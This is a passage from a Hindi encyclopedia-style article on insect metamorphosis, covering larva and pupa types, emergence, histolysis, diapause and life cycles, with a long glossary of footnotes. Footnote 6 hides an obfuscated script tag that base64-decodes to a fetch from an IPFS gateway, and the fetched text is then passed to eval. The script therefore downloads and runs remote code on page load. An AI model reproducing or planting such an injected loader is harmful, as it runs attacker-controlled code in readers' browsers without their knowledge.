डिंभों के वक्षीय अवयव[189] भली प्रकार विकसित होते हैं, किंतु उदर में पुच्छीय अवयव के अतिरिक्त अन्य कोई अवयव नहीं पाए जाते। ये मांसाहारी होते हैं और शिकार की खोज में घूमते फिरते हैं। इन क्रियाशील जीवन के कारण इनके नेत्र तथा अन्य इंद्रियाँ भली प्रकार विकसित होती हैं। ये डिंभ स्थल पर रहने वाले कंचुक पक्षों और जाल पक्षों में पाए जाते हैं।

ऐपोडस

यह डिंभ कृमि की आकृति के होते हैं। इनकी टाँगे बहुत छोटी होती हैं या पूर्णतया लुप्त हो जाती हैं। ये अनेक समुदाय के कीटों में पाए जाते हैं, जैसे घरेलू मक्खी का डिंभ की तरह होते हैं।

प्रिप्यूपा

डिंभ अवस्था के अंत के निकट कीट रूपांतर की तैयारी करता है और निश्चित रूपांतर होने के पूर्व[190] की दशा में आ जाता है। इस दशा में कीट भोजन करना बंद कर देता है। शरीर बहुत सिकुड़ जाता है और उसका रंग नष्ट हो जाता है। प्रिप्यूपा दशा के पश्चात कीट के शरीर की आकृति में परिवर्तन आ जाते हैं। भविष्य में होने वाले प्रौढ़ के नेत्र और टाँगों के बाह्य विकसन के चिह्न प्रथम बार दृष्टिगोचर होते हैं। प्राय: इसी अवस्था में कोया[191]बनता है। द्विपक्षों में इसी अवस्था में प्यूपा का खोल बनता है।

प्यूपा

प्यूपा की अवस्था में कीट विश्राम करता है। इसी अवस्था में पक्ष तथा अन्य अवयव अपने अधिचर्म की थैलियों से बाहर निकल आते हैं और प्रत्यक्ष हो जाते हैं। आंतरिक इंद्रियों को भविष्य में बनने वाले पूर्ण कीट की आवश्यकताओं के अनुसार पुन र्निर्माण हो जाता है। प्राथमिक प्रकार का प्यूपा डेक्टिकस[192] प्यूपा कहलाता है। इसके अवयव इसके शरीर से नहीं चिपके रहते, वरन गति कर सकते हैं। मच्छर के प्यूपा जलवासी हैं और चपलता से तैरते रहते हैं। ऑबटेक्ट[193] अर्थात कवचित प्यूपा के पक्ष और टाँगे शरीर से चिपकी रहती हैं। इनमें प्रगति नहीं होती है। इस प्रकार के प्यूण अधिकतर शलभों में पाए जाते हैं। कोआर्कटेट[194] प्यूपा में डिंभ की अंतिम केंचुल का पतन नहीं होता है, किंतु यही केंचुल कड़ी बनकर प्यूपा के बाहर प्यूपरियम बन जाती है। इस प्रकार का प्यूपा घरेलू मक्खी में पाया जाता है।

प्यूपेरियम

प्यूपेरियम से निकलते समय कीट अपने खोल का विभिन्न प्रकार से तोड़ते है। चबाकर खाने वाले कीट अपने जंभ[195] से अपने प्यूपेरियम को कुतर-कुतर कर बाहर निकलते हैं। चूसकर भोजन करने वाले कीट एक तरल पदार्थ का उत्सर्जन करते हैं, जो कोया के रेशम को एक ओर से कोमल कर देता है और इस कारण सहज में ही टूट जाता है। कुछ शल्कि-पक्षों में काँटे होते हैं, जिनसे वे प्यूपेरियम में दरार बनाते है। कुछ द्विपक्षों के सिर पर एक थैली होती हैं, जिसमें वायु भरकर वे प्यूपेरियम के सिरे को दबाते हैं। इस प्रकार यह सिरा टूट जाता है और मक्खी निकल आती है। प्यूपेरियम से निकलते समय कीट सबसे पहले अपने अवयवों को बाहर निकालता है। इस समय इसके पग सिकुड़े होते हैं, फिर रेंगकर सबसे समीप यह जो भी अवलंब पा जाता है, उस पर इसी दशा में विश्राम करने लगता है। पक्षों में शरीर के रक्त प्रवाह से और पेशियों के सिकुड़ने तथा फैलने से पक्ष भी शीघ्रता से फैल जाते हैं। प्यूपेरियम से निकलने के कुछ समय पश्चात ही कीट उड़ने का प्रयत्न करने लगता है।

पूर्णकीट का परिवर्धन

हिस्टोलिसिस

अपूर्ण रूपांतरण वाले कीटों में पूर्णकीट के परिवर्धन में परिवर्तन क्रमिक और र्निविघ्न होते हैं। ये बाह्य तथा आंतरिक दोनों होते हैं। र्निफ की इंद्रियाँ पूर्णकीट की इंद्रियों में परिवर्तित हो जाती है। इसके आकार में वृद्धि के अतिरिक्त बहुत ही थोड़ा अन्य परिवर्तन आता है। पूर्ण रूपांतरण वाले कीटों में डिंभों की इंद्रियाँ और ऊतक प्यूपा की अवस्था में विभिन्न मात्रा में विलय हो जाते हैं। इस विधि को हिस्टोलिसिस[196] कहते हैं। साथ ही साथ उनके स्थान में प्रौढ़ की इंद्रियाँ बन जाती हैं। नवीन ऊतकों का यह उत्पादन हिस्टोजिनेसिस[197] कहलाता है। दोनों प्रकार के परिवर्तन इंद्रियों की अविच्छिन्नता को नष्ट किए बिना ही साथ-साथ होते रहते हैं। वास्तव में पूर्णकीट का बनना डिंभ में ही आरंभ हो जाता है। सबसे पहले पूर्णकीट की कलिकाएँ बनती हैं। ये कलिकाएँ भविष्य में होने वाले कीट के उन सब भागों का, जिनकी इसको आवश्यकता होगी, पुनर्निमाण करती हैं तथा उन सब इंद्रियों को भी बनाती हैं, जो डिंभ में नहीं पाई जाती है।

डायपाज =

डायपाज[198] अर्थात वृद्धि की रोक। अनुकूल परिस्थितियों में बहुत से कीटों का परिवर्धन र्निविघ्न होता रहता है। इस बीच यदि कोई प्रतिकूल परिस्थिति आ जाती है, जैसे निम्न ताप; तो कुछ समय के लिये परिवर्धन रूक जाता है, किंतु परिस्थिति सुधरते ही परिवर्धन तुरंत ही फिर आरंभ हो जाता है। किंतु बहुत से ऐसे कीट भी हैं, जिनमें बाह्य दशाएँ तो अनुकूल प्रतीत होती है। किंतु कुछ निश्चित परिस्थितियों के कारण परिवर्धन रूक जाता है। वृद्धि की यह रुकावट कुछ सप्ताहों से लेकर कई वर्षों तक की हो सकती है। विभिन्न जातियों के कीटों में यह अवधि प्राय: भिन्न होती है और इस प्रकार परिवर्तन में विलंब हो जाता है। किंतु अंत में यह रूकावट जीव ने इतिहास की किसी एक निश्चित अवस्था में ही होती है। यह अवस्था अंडे की, अपूर्ण कीट की, या वयस्क की, किसी की भी हो सकती है और कीट की जाति पर निर्भर रहती है। रेशम क कृमि शलभ, बांबिक्स मोराइ[199] जो अंडे शरद ऋतु में देता है, उनमें डायपॉज़ होता है। जब तक गरमी देने से पहले इनके सेंटीग्रेड पर न रखा जाय इन अंडों से डिंभ नहीं निकलते हैं।

जीवन चक्र

सम शीतोष्ण और शीतल देशों के कीटों के जीवन चक्र में शीत काल में शीत निष्क्रियता[200] पाई जाती है। इन दिनों कीट शिथिल रहता है। अयन वृत्त के देशों में, जहाँ की जलवायु सदा उष्ण और नम होती है, कीटों के जीवन चक्र में शीत निष्क्रियता प्राय: नहीं पाई जाती है और एक पीढ़ी के पश्चात दूसरी पीढ़ी क्रमानुसार आ जाती है। भारतीय शलभों में ईख की जड़ को भेदने वाला शलभ इल्ली की अवस्था में दिसंबर के प्रथम सप्ताह में शीत निष्क्रिय हो जाता है और प्यूपा बनना मार्च में आरंभ करता है। पैपिलियो डिमोलियस[201] नामक तितली प्यूपा अवस्था में और पीत बर्रे प्रौढ़ावस्था में शीत निष्क्रिय होते हैं। पीरिऑडिकल सिकेडा[202] के, जो उत्तरी अमरीका में पाया जाता है, जीवन चक्र पूरे होने में तेरह से सत्रह वर्ष तक लग जाते हैं, किंतु बहुत सी द्रमयूका ऐसी होती हैं, जिनकी एक पीढ़ी लगभग एक सप्ताह में ही पूर्ण हो जाती है। सबसे छोटा जीवन चक्र नन्हें नन्हें कैलसिड नामक कलापक्ष के कीटों का होता है। इन कीटों के डिंभ दूसरे कीटों के अंडों के भीतर पराश्रयी की भाँति रहते हैं और इनका जीवन चक्र केवल सात ही दिन में पूर्ण हो जाता है।


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टीका टिप्पणी और संदर्भ

  1. Invertebrates
  2. Anthropoda
  3. इनसेक्ट=इनसेक्टम्‌=कटे हुए
  4. इनसेक्टम्‌
  5. Hexapoda
  6. 6.0 6.1 कीट (हिन्दी) भारतखोज। अभिगमन तिथि: 17 अगस्त, 2015।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  7. Antenna
  8. ट्रेकिया-Trachea
  9. स्पाहरेकल Spiracle
  10. Plasma
  11. Haemoglobin
  12. मैलपीगियन-Malpighian
  13. Corpora allata
  14. ऐडैप्टाबिलिटी-Adaptability
  15. डिसपर्सल-dispersal
  16. हैबिट्स- habit
  17. इंटर्नल पैरासाइट-internal parasite
  18. Psilosa petroll
  19. स्ट्रिकनीन-strychnine
  20. Instinct
  21. Flea
  22. द्र. कलापक्ष
  23. stick insects
  24. Pharmacia serratipus
  25. Erbis agrippina
  26. Dragon Fly
  27. क्यूटिकल-Cuticle
  28. क्लाज-claws
  29. Hypodermis
  30. स्किलयराइट-sclerite
  31. सूचर-suture
  32. सेगमेंटेशन-Segmentation
  33. टर्गम-Tergum
  34. प्लुराँन-Pleuron
  35. स्टर्नम-Sternum
  36. एपिक्रेनियल-Epicranial
  37. फ्रांज़-Frons
  38. एपिक्रेनियम-Epicranium
  39. क्लिपिअस-Clypeus
  40. Labrum
  41. Epipharynx
  42. जीनी Genae
  43. Ocelli
  44. आक्सिपिटैल फ़ोरामेन-Occipital foramen
  45. Mandible
  46. Maxilla
  47. Labium
  48. कार्डो Cardo
  49. स्टाइपोज-Stipes
  50. Galea
  51. Lacinia
  52. Maxillary palp
  53. Submentum
  54. मेंटम-Mentum
  55. Prementum
  56. पैराग्लासी-Paraglossae
  57. ग्लासी-Glossae
  58. Ligula
  59. लेवियल पैल्प-Labial palp
  60. प्रीओरल कैविटी-peoral cavity
  61. हाइपोफैरिंग्स-hypopharyns
  62. प्रोथोरेक्स-Prothorax
  63. मेसोथोरैक्स-Mesothorax
  64. मेटाथोरेक्स-Metathorax
  65. प्रिस्क्यूटम-Prescutum
  66. स्क्यूटम-Scutum
  67. स्क्यूटैलम-Scutalum
  68. पोस्ट स्क्यूटैलम Post-Scutalum
  69. एपिस्टर्नम-Episternum
  70. एपिमीराँन-Epimeron
  71. Basisternum
  72. Fursasternum
  73. Spinasternum
  74. कोक्स-Coxa
  75. ट्राकेटर-Trochanter
  76. फ़ामर-Femur
  77. टिविया-Tibia
  78. टार्सस-Tarsus
  79. क्लाज़-Claws
  80. उपवर्हिका-Pulvillus
  81. प्रोटार्सस-Pretarsus
  82. Pulvilli
  83. Arolia
  84. Empodia
  85. ग्रिलोटैल्पा-Gryllotalpa
  86. फ़ीमर-Femur
  87. मैंटिस-Mantis
  88. Venis
  89. कौस्टैल-Costal
  90. Epical
  91. Anal
  92. Costa
  93. Subcosta
  94. Radius
  95. Medius
  96. Cubitus
  97. Anal
  98. Dispersal
  99. Odonata
  100. Metabolism
  101. प्रोट्यूरा-Protura
  102. सरसाई-Cerci
  103. ईडीगस-Aedeagus
  104. पेरामीयर-Paramere
  105. क्लास्पर-Clasper
  106. क्रॉप-Crop
  107. सीका-Caeca
  108. मैलपीगियन-Malpighiam
  109. engyme
  110. Amylasa
  111. envertase
  112. Maltase
  113. Protease
  114. Lipase
  115. Hydrolipase
  116. Crop
  117. निसर्ग
  118. डायफ्राम-diaphram
  119. परिकार्डियल-Pericardial
  120. साइनस-sinus
  121. पेरिन्यूरल-Perineural
  122. Nephrocyte
  123. ईनोसाइट-Oenocytes
  124. स्पायरेकिल-Spiracle
  125. स्टाँड्स-Strands
  126. Corpora allata
  127. Corpora cordieca
  128. Trachea
  129. thickenings
  130. Tracheoles
  131. Diffusion
  132. Dorsoventral
  133. Convexity
  134. Central Nervous System
  135. Ventral Nerve Cord
  136. Connective
  137. Protocerebrum
  138. Deuto-cerebrum
  139. Trito-cerebrum
  140. Tonus
  141. Stomato-gastric Nervous System
  142. Peripheral Nervous System
  143. Integument
  144. ओमेटिडिया-Ommatidia
  145. लेंज़ेज-Lenses
  146. Tapetum
  147. Pigment
  148. मोज़ेइक-mosaic
  149. रेज़ोनेटर-Resonator
  150. Ejaculator
  151. accessory
  152. Common Oviduct
  153. स्पमैटोफोर-Spermatophore
  154. Parthenogenesis
  155. अनफर्टिलाइज्ड-unfertilized
  156. Stick
  157. Aphides
  158. Immature
  159. Paedogenesis
  160. Miastor
  161. पॉलिएंब्रियोनी-Polyembryony
  162. Platigastor hiemalis
  163. Chalcid
  164. Ephimeroptero
  165. Cockroach
  166. Ootheca
  167. Yolk
  168. Germ band
  169. transverse
  170. Telson
  171. Moulting
  172. Instar
  173. metamorphosis
  174. एमेटाबोला-Ametabola
  175. लेपिज़मा-Lepisma
  176. Metabola
  177. hemimetabola
  178. होलोमेटाबोला-Holometabola
  179. Hyper
  180. Cantharis
  181. juvenile
  182. Naiad
  183. Campodeiform
  184. Protopod
  185. Polypod
  186. Eruciform
  187. Oligopod
  188. Apodous)
  189. टाँगें
  190. प्रिप्यूपा-Prepupa
  191. कोकून
  192. Decticous
  193. Obtect
  194. Coarctate
  195. मैंडिबल
  196. Histolysis
  197. histogenesis
  198. Diapause
  199. Bombyx mori
  200. हाइबर्नेशन-Hibernation
  201. Papilio demoleus
  202. Periodical cieada

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